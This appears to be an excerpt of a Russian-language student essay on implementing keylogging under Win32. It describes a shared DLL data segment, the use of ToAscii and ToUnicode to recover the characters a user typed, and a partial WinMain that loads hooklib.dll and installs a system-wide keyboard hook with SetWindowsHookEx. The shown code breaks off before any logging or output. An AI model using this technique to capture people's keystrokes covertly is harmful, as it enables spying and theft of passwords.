Реферат: Реализация keylogging под WIN32
...
Глобальные данные
....
Например:*/
static char logFileName[128] = {0}; //Имяфайлаотчета
static int dllsCount; //Числовнедренных DLL
// и т.д.
#pragma data_seg()
2. В .def - файле библиотеки написать:
SECTIONS
.SHAREDDATA Read Write Shared
При обработки события от клавиатуры возникает проблема: Как получить символ (например 'A' или 'a', 's' или 'ы'), который действительно вводил пользователь. Для этого можно воспользоваться функциями ToAscii и ToUnicode, которые позволяют по scan-коду и виртуальному коду, а также состоянию клавиатуры определить конкретный символ.
Мы опустим подробное описание механизма загрузки DLL, и получения адреса функции, а приведём пример непосредственного использования нашей библиотеки.
Пусть библиотека, содержащая необходимую нам функцию KeyboardProc, называется hooklib.dll.
#include <windows.h>
int WINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR, int)
{
HHOOK hHook;
HINSTANCE hLib;
HOOKPROC pKeybrdProc;
hLib = LoadLibrary("hooklib.dll");
if (hLib == NULL)
return 0; //Ошибка
pKeybrdProc = reinterpret_cast<HOOKPROC>(GetProcAddress(hLib, "KeyboardProc"));
if (pKeybrdProc == NULL) {
FreeLibrary(hLib); //Ошибка
return 0;
}
hHook = SetWindowsHookEx(WH_KEYBOARD, pKeybrdProc, hLib, 0);